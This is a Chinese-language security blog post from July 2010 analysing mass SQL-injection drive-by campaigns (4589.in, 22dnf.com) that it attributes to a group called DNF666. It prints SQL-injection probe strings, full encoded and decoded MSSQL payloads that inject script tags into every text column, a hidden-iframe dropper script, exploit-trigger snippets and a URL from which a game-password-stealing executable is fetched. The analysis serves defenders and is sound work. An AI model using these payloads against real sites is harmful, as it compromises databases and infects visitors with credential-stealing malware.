阿碼外傳-阿碼科技非官方中文 Blog: 2010年7月2日

2010年7月2日

DNF666 大規模SQL掛馬攻擊又來了:4589.in與22dnf.com

(作者:Wayne Huang, Chris Hsiao, Birdman, Wisely Tao, Crane Ku, 以及Armorize其他成員)


在6月13日,我們在blog上講述到 Flash 0day大規模掛馬攻擊研究。根據我們的分析,這一波的攻擊也是由"DNF666"這個團體所發起的。 以下是我們的分析。


前一篇 (查看前一篇blog):

5月07日: dnf666.net Mass SQL attack
6月04日: Adobe 發佈弱點通知
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本
6月11日:2677.in--第二波大規模掛馬攻擊開始。

我們把這個攻擊的團體稱之為 "DNF666",Wall Street Journal 即是被robint.us所打中如同 Jerusalem 所發佈的文章. 而且超過114,000網頁被掛了馬, 而所有的這些主要就是為了散佈惡意程式盜取亞洲線上遊戲的密碼

而中國、台灣及一些亞洲區的一些網站即是他們鎖定的目標。

以下就是他們最近所做的事:

6月14日:4589.in--大規模掛馬攻擊
6月30日:22dnf.com--大規模掛馬攻擊

相似點:
1. 同樣的一個團體所為 -- DNF666
2. 同樣的掛馬產生器 -- CuteQQ / Anhey
3. 同樣的目的 -- 盜取亞洲線上遊戲的密碼

不同點:
1. 新的SQL injection探測語法
2. 伺服端的攻擊目標同時包括ASP及ASP.NET網站
3. 客戶端的攻擊鎖定不同的弱點(CVE-2010-0806 and CVE-2010-0249)
4. 鎖定亞洲區以台灣為主的網站

[1.伺服器端]

在這兩個嘗試裡,我們看到了新的探測字串 (thanks to SmartWAF team Wisely and Crane):

' aND '8'='8
' aND '8'='3
'/**/aND/**/'8'='8
'/**/aND/**/'8'='3
%' aND '8%'='8
%' aND '8%'='3
%' aND '8'='8
%' aND '8%'='3
%'/**/aND/**/'8'='8
%'/**/aND/**/'8%'='3
' XoR '8'='3
' XoR '8'='8
' XoR '8'='3
' XoR '8'='8
'/**/XoR/**/'8'='3
'/**/XoR/**/'8'='8


這個SQL injection的技巧是他們經常使用的:
4589.in sample:


GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463334333533383339324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B6520272725343538392E696E2527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

22dnf.com:


GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

解碼後, 4589.in:


get /default.aspx?imgbtnlogin=1;declare @s varchar(8000) set @sdeclare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f343538392e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%4589.in%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;-- exec(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

22dnf.com:


get /default.aspx?imgbtnlogin=1;declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f3232646e662e63 6f6d2f66662f792e6a733e3c2f7363726970743e as varchar(51)) where ['+@c+'] not like ''%22dnf%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--exec(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt


沒有發現什麼新的SQL injection攻擊技巧,不過這一次這個團體有:

A. 使用新的探測技巧。
B. 鎖定有弱點的IIS+ASP 及 IIS+ASP.NET 網站。
C. 鎖定亞洲區以台灣為主的網站。


4859.in SQL injections來自IP: 95.211.130.71, 反查指到那個網域: 4859.in,和iamcome.in. iamcome.in 是在上一次的攻擊中被DNF666團體所使用的而這是第一個線索指出這兩個攻擊是跟DNF666團體有關。

22dnf.com SQL injections 來自204.74.216.42這個IP,它是一家位於北京rashost.com所擁有的(DNS: 204-74-216-42.vps.rashost.com). 而這個名為"22dnf"(同樣含有"dnf")為第二個線索指出這一波的掛馬是跟DNF666有所關連的。

這裡是被掛馬的一些網站的搜尋畫面
4589.in:


22dnf.com:

掛馬片段:
4589.in (note in the 上次06/11日2677.in所做的這個js 的檔案名一樣為 "yahoo.js"):

<script src=http://4589.in/yahoo.js></script>


而這是昨天的22dnf.com:

<script src=http://22dnf.com/ff/y.js></script>

事實上這一波的攻擊手法幾乎跟上次一模一樣,所以很多網站都是被二度入侵的:

[2.使用者端]

讓我們把焦點放在昨天的大規模SQL掛馬攻擊上--22dnf.com。 下面是y.js:

try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://22dnf.com/ff/cc.html width=0 height=0></iframe><iframe src=http://22dnf.com/ff/ie.html width=0 height=0></iframe><iframe src=http://22dnf.com/ff/ad.html width=0 height=0></iframe>");}

所以"y.js"載入了3個htmls--cc.html, ie.html,及ad.html.其中cc.html載入cnzz.com來當造訪人次的計數器,而ie.html 則針對漏洞 CVE-2010-0806, 而ad.html 則是針對另一個漏洞CVE-2010-0249.

ie.html 結合了一個DOM-based的技巧來規避自動化惡意網頁(drive-by download)偵測機制,就像我們的我們HackAlert.攻擊程序是由DOM物件來觸發:

<button id="bo" onclick="payload();" STYLE="DISPLAY:NONE"></button>
...
document.getElementById("bo").onclick();

ad.html 結合了一個類似DOM-based的技巧--這攻擊程序 evl() 是由圖片物件以onload事件來觸發:

<img src="XIGUA.GIF" onload="ev1(event)">

而這兩個技巧可以很有效的來打敗,單純以javascript引擎而非DOM來實作的"行為模式"掃瞄引擎 --例如,單純以SpiderMonkey or Rhino的一些實作。

而真正的shellcode是被存放在 ff/a.gif 之中--這是一個常見的技術,能讓攻擊更有彈性,同時也是用來規避偵測為其目的。而這個掛馬攻擊很明顯的是由,掛馬工具CuteQQ / Anhey drive-by 套件所製成, 而這點成為了第三個線索指出這個這攻擊是由DNF666所為。

在漏洞被利用成功之後,它的shellcode會來載入s.exe, 之後自202.109.143.79:81/s.txt遠端讀取下載命令。s.txt的內容如下:

123

http://202.109.143.79:81/ma.exe

所以s.exe 會來下載 ma.exe這支惡意程式。

[3.實際的惡意程式]

在我們的分析結果中這個 ma.exe 惡意程式跟我們上次的分析是一樣的,主要就是要來盜取密碼用的,而它主要所盜取的為以下的線上遊戲:

aion.plaync.co.kr
aion.plaync.jp
df.nexon.com
maplestory.nexon.com

[4.結論]

這兩個的攻擊都是由DNF666所發起,而他們至少也牽涉三起先前的大規模SQL掛馬攻擊,這是我們的結論。我們再為這波的攻擊做個重點提要:

相似點:
1. 同樣的一個團體所為 -- DNF666
2. 同樣的掛馬產生器 -- CuteQQ / Anhey
3. 同樣的目的 -- 盜取亞洲線上遊戲的密碼

不同點:
1. 新的SQL injection探測語法
2. 伺服端的攻擊目標同時包括ASP及ASP.NET網站
3. 客戶端的攻擊鎖定不同的弱點(CVE-2010-0806 and CVE-2010-0249).
4. 鎖定亞洲區以台灣為主的網站

時間表:

5月07日: dnf666.net Mass SQL attack
6月04日: Adobe 發佈弱點通知
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本
6月11日:2677.in--第二波大規模掛馬攻擊開始。

6月14日:4589.in--大規模掛馬攻擊
6月30日:22dnf.com--大規模掛馬攻擊


繼續閱讀全文...